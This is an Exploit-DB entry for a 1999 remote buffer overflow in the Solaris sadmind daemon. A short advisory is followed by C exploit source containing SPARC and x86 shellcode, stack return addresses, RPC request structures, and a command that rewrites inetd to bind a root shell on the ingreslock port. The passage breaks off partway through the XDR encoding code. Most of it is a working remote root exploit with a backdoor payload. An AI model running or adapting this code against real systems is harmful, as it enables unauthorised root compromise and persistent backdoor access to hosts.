Exploit-DB #19672
Description: Solaris 2.5/2.5.1/2.6/7.0 - 'sadmind' Remote Buffer Overflow (4)
Type: remote
Platform: solaris
Date: 1999-12-10
Author: Cheez Whiz

Exploit:
// source: https://www.securityfocus.com/bid/866/info
   
Certain versions of Solaris ship with a version of sadmind which is vulnerable to a remotely exploitable buffer overflow attack. sadmind is the daemon used by Solstice AdminSuite applications to perform distributed system administration operations such as adding users. The sadmind daemon is started automatically by the inetd daemon whenever a request to invoke an operation is received.
   
Under vulnerable versions of sadmind (2.6 and 7.0 have been tested), if a long buffer is passed to a NETMGT_PROC_SERVICE request (called via clnt_call()), it is possible to overwrite the stack pointer and execute arbitrary code. The actual buffer in questions appears to hold the client's domain name. The overflow in sadmind takes place in the get_auth() function, part of the /usr/snadm/lib/libmagt.so.2 library. Because sadmind runs as root any code launched as a result will run as with root privileges, therefore resulting in a root compromise. 

/*************************************************************************\
**                                                                       **
**    Super Solaris sadmin Exploit - Based on sadminex by Cheez Whiz     **
**    by optyx <optyx@uberhax0r.net>                                     **
**    based on sadminsparc. and sadminx86.c by Cheez Whiz                **
**                                                                       **
\*************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <rpc/rpc.h>

char shellsparc[] =    "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff"
		       "\x90\x03\xe0\x5c\x92\x22\x20\x10\x94\x1b\xc0\x0f"
		       "\xec\x02\x3f\xf0\xac\x22\x80\x16\xae\x02\x60\x10"
		       "\xee\x22\x3f\xf0\xae\x05\xe0\x08\xc0\x2d\xff\xff"
		       "\xee\x22\x3f\xf4\xae\x05\xe0\x03\xc0\x2d\xff\xff"
		       "\xee\x22\x3f\xf8\xae\x05\xc0\x16\xc0\x2d\xff\xff"
		       "\xc0\x22\x3f\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
		       "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
		       "\xff\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff"
		       "\x2d\x63\xff";

char shellx86[] =      "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31"
		       "\xc0\x89\x46\xb7\x88\x46\xbc\x31\xc0\x50\x56\x8b"
		       "\x1e\xf7\xdb\x89\xf7\x83\xc7\x10\x57\x89\x3e\x83"
		       "\xc7\x08\x88\x47\xff\x89\x7e\x04\x83\xc7\x03\x88"
		       "\x47\xff\x89\x7e\x08\x01\xdf\x88\x47\xff\x89\x46"
		       "\x0c\xb0\x3b\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
		       "\xbe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
		       "\xff\xff\xff\xff\xff\xff\xff\xff\x2f\x62\x69\x6e"
		       "\x2f\x73\x68\xff\x2d\x63\xff";
		       

int buflen[]	 = { 1076, 1056 };
int addrlen[] 	 = { 560, 8 };
int lens[]	 = { 84, 76 };
int offset[]	 = { 688, 572 };
int alignment[]	 = { 4, 0 };
long int nops[]	 = { 0x801bc00f, 0x90 };
int junks[]	 = { 512, 536 };
char command[] 	 = "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' "
	           "> /tmp/.x; /usr/sbin/inetd -s /tmp/.x; rm -f /tmp/.x;";
unsigned long int sp[]	= { 0xefff9580, 0xefff9418, 0x080418ec, 0x08041798 };
 
#define FRAMELEN1 608
#define FRAMELEN2 4200

#define NETMGT_PROG 100232
#define NETMGT_VERS 10
#define NETMGT_PROC_PING 0
#define NETMGT_PROC_SERVICE 1

#define NETMGT_UDP_PING_TIMEOUT 30
#define NETMGT_UDP_PING_RETRY_TIMEOUT 5
#define NETMGT_UDP_SERVICE_TIMEOUT 1
#define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2

#define NETMGT_HEADER_TYPE 6
#define NETMGT_ARG_INT 3
#define NETMGT_ARG_STRING 9
#define NETMGT_ENDOFARGS "netmgt_endofargs"

#define FW_VERSION "VERSION"
#define CLIENT_DOMAIN "CLIENT_DOMAIN"
#define FENCE "FENCE"

struct nm_send_header {
	struct timeval timeval1;
	struct timeval timeval2;
	struct timeval timeval3;
	unsigned int uint1;
	unsigned int uint2;
	unsigned int uint3;
	unsigned int uint4;
	unsigned int uint5;
	struct in_addr inaddr1;
	struct in_addr inaddr2;
	unsigned long ulong1;
	unsigned long ulong2;
	struct in_addr inaddr3;
	unsigned long ulong3;
	unsigned long ulong4;
	unsigned long ulong5;
	struct timeval timeval4;
	unsigned int uint6;
	struct timeval timeval5;
	char *string1;
	char *string2;
	char *string3;
	unsigned int uint7;
};

struct nm_send_arg_int {
	char *string1;
	unsigned int uint1;
	unsigned int uint2;
	int int1;
	unsigned int uint3;
	unsigned int uint4;
};

struct nm_send_arg_string {
	char *string1;
	unsigned int uint1;
	unsigned int uint2;
	char *string2;
	unsigned int uint3;
	unsigned int uint4;
};

struct nm_send_footer {
	char *string1;
};

struct nm_send {
	struct nm_send_header header;
	struct nm_send_arg_int version;
	struct nm_send_arg_string string;
	struct nm_send_arg_int fence;
	struct nm_send_footer footer;
};

struct nm_reply {
	unsigned int uint1;
	unsigned int uint2;
	char *string1;
};

bool_t xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
{
	char *addr;
	size_t size = sizeof(struct in_addr);

	if(!xdr_long(xdrs, &objp->timeval1.tv_sec))
		return (FALSE);
	if(!xdr_long(xdrs, &objp->timeval1.tv_usec))
		return (FALSE);
	if(!xdr_long(xdrs, &objp->timeval2.tv_sec))
		return (FALSE);
	if(!xdr_long(xdrs, &objp->timeval2.tv_usec))
		return (FALSE);
	if(!xdr_long(xdrs, &objp->timeval3.tv_sec))
		return (FALSE);
	if(!xdr_long(xdrs, &objp->timeval3.tv_usec))
		return (FALSE);
	if(!xdr_u_int(xdrs, &objp->uint1))
		return (FALSE);
	if(!xdr_u_int(xdrs, &objp->uint2))
		return (FALSE);
	if(!xdr_u_int(xdrs, &objp->uint3))
		return (FALSE);
	if(!xdr_u_int(xdrs, &objp->uint4))
		return (FALSE);
	if(!xdr_u_int(xdrs, &objp->uint5))
		return (FALSE);
	addr = (char *) &objp->inaddr1.s_addr;
	if(!xdr_bytes(xdrs, &addr, &size, size))
		return (FALSE);
	if(!xdr_u_long(xdrs, &objp->ulong1))
		return (FALSE);
	if(!xdr_u_long(xdrs, &objp->ulong